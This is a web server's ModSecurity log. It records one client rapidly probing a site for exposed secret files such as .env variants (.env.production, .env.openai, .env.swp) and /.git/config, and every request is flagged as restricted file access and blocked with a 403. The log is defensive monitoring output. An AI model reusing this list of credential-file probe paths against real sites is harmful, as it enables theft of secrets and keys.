[Sat Oct 24 06:59:33.402190 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.62.25.61:55354] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "atyPlaVWPMRLkHgZYZD6lQAAABU"]
[Sat Oct 24 06:59:33.403138 2026] [security2:error] [pid 2607845:tid 2607845] [client 34.62.25.61:55366] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "atyPlUZmsT_-xVq3Bbq48gAAAAU"]
[Sat Oct 24 06:59:33.403272 2026] [security2:error] [pid 2607845:tid 2607845] [client 34.62.25.61:55366] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "atyPlUZmsT_-xVq3Bbq48gAAAAU"]
[Sat Oct 24 06:59:33.403479 2026] [security2:error] [pid 2607845:tid 2607845] [client 34.62.25.61:55366] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "atyPlUZmsT_-xVq3Bbq48gAAAAU"]
[Sat Oct 24 06:59:33.404556 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.62.25.61:55376] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "atyPlbX1SaR9hxmEXogoSAAAAAo"]
[Sat Oct 24 06:59:33.404733 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.62.25.61:55376] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "atyPlbX1SaR9hxmEXogoSAAAAAo"]
[Sat Oct 24 06:59:33.404945 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.62.25.61:55376] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "atyPlbX1SaR9hxmEXogoSAAAAAo"]
[Sat Oct 24 06:59:33.405861 2026] [security2:error] [pid 2608663:tid 2608663] [client 34.62.25.61:55340] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.openai"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.openai"] [unique_id "atyPlTOT1ZsOoHahaDY_GQAAAAY"]
[Sat Oct 24 06:59:33.405989 2026] [security2:error] [pid 2608663:tid 2608663] [client 34.62.25.61:55340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.openai"] [unique_id "atyPlTOT1ZsOoHahaDY_GQAAAAY"]
[Sat Oct 24 06:59:33.406203 2026] [security2:error] [pid 2608663:tid 2608663] [client 34.62.25.61:55340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.openai"] [unique_id "atyPlTOT1ZsOoHahaDY_GQAAAAY"]
[Sat Oct 24 06:59:33.407198 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "atyPlQSwRuPA-FjBma7IVgAAAAI"]
[Sat Oct 24 06:59:33.407333 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "atyPlQSwRuPA-FjBma7IVgAAAAI"]
[Sat Oct 24 06:59:33.407543 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "atyPlQSwRuPA-FjBma7IVgAAAAI"]
[Sat Oct 24 06:59:33.472736 2026] [security2:error] [pid 2608731:tid 2608731] [client 34.62.25.61:55348] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "atyPlfPD_keneTOG9SbiTAAAAAg"]
[Sat Oct 24 06:59:33.472938 2026] [security2:error] [pid 2608731:tid 2608731] [client 34.62.25.61:55348] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "atyPlfPD_keneTOG9SbiTAAAAAg"]
[Sat Oct 24 06:59:33.473230 2026] [security2:error] [pid 2608731:tid 2608731] [client 34.62.25.61:55348] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "atyPlfPD_keneTOG9SbiTAAAAAg"]
[Sat Oct 24 06:59:33.475983 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.62.25.61:55326] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "atyPlQ6rpxYYtVdDcXCnjgAAABg"]
[Sat Oct 24 06:59:33.476125 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.62.25.61:55326] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "atyPlQ6rpxYYtVdDcXCnjgAAABg"]
[Sat Oct 24 06:59:33.476375 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.62.25.61:55326] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "atyPlQ6rpxYYtVdDcXCnjgAAABg"]
[Sat Oct 24 06:59:33.477074 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.62.25.61:55354] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "atyPlaVWPMRLkHgZYZD6lgAAABU"]
[Sat Oct 24 06:59:33.477214 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.62.25.61:55354] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "atyPlaVWPMRLkHgZYZD6lgAAABU"]
[Sat Oct 24 06:59:33.477447 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.62.25.61:55354] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "atyPlaVWPMRLkHgZYZD6lgAAABU"]
[Sat Oct 24 06:59:33.479688 2026] [security2:error] [pid 2607845:tid 2607845] [client 34.62.25.61:55366] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "atyPlUZmsT_-xVq3Bbq48wAAAAU"]
[Sat Oct 24 06:59:33.481591 2026] [security2:error] [pid 2607845:tid 2607845] [client 34.62.25.61:55366] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "atyPlUZmsT_-xVq3Bbq48wAAAAU"]
[Sat Oct 24 06:59:33.481866 2026] [security2:error] [pid 2607845:tid 2607845] [client 34.62.25.61:55366] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "atyPlUZmsT_-xVq3Bbq48wAAAAU"]
[Sat Oct 24 06:59:33.482791 2026] [security2:error] [pid 2608663:tid 2608663] [client 34.62.25.61:55340] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "atyPlTOT1ZsOoHahaDY_GgAAAAY"]
[Sat Oct 24 06:59:33.482918 2026] [security2:error] [pid 2608663:tid 2608663] [client 34.62.25.61:55340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "atyPlTOT1ZsOoHahaDY_GgAAAAY"]
[Sat Oct 24 06:59:33.483124 2026] [security2:error] [pid 2608663:tid 2608663] [client 34.62.25.61:55340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "atyPlTOT1ZsOoHahaDY_GgAAAAY"]
[Sat Oct 24 06:59:33.480434 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.62.25.61:55376] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "atyPlbX1SaR9hxmEXogoSQAAAAo"]
[Sat Oct 24 06:59:33.483936 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.62.25.61:55376] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "atyPlbX1SaR9hxmEXogoSQAAAAo"]
[Sat Oct 24 06:59:33.484076 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "atyPlQSwRuPA-FjBma7IVwAAAAI"]
[Sat Oct 24 06:59:33.484153 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.62.25.61:55376] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "atyPlbX1SaR9hxmEXogoSQAAAAo"]
[Sat Oct 24 06:59:33.484210 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "atyPlQSwRuPA-FjBma7IVwAAAAI"]
[Sat Oct 24 06:59:33.484411 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "atyPlQSwRuPA-FjBma7IVwAAAAI"]
[Sat Oct 24 06:59:33.492029 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.62.25.61:55384] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "atyPlYY2rJh4KkI7ZZhitAAAAAM"]
[Sat Oct 24 06:59:33.492252 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.62.25.61:55384] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "atyPlYY2rJh4KkI7ZZhitAAAAAM"]
[Sat Oct 24 06:59:33.492579 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.62.25.61:55384] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "atyPlYY2rJh4KkI7ZZhitAAAAAM"]
[Sat Oct 24 06:59:33.552328 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.62.25.61:55326] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyPlQ6rpxYYtVdDcXCnjwAAABg"]
[Sat Oct 24 06:59:33.552492 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.62.25.61:55326] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyPlQ6rpxYYtVdDcXCnjwAAABg"]
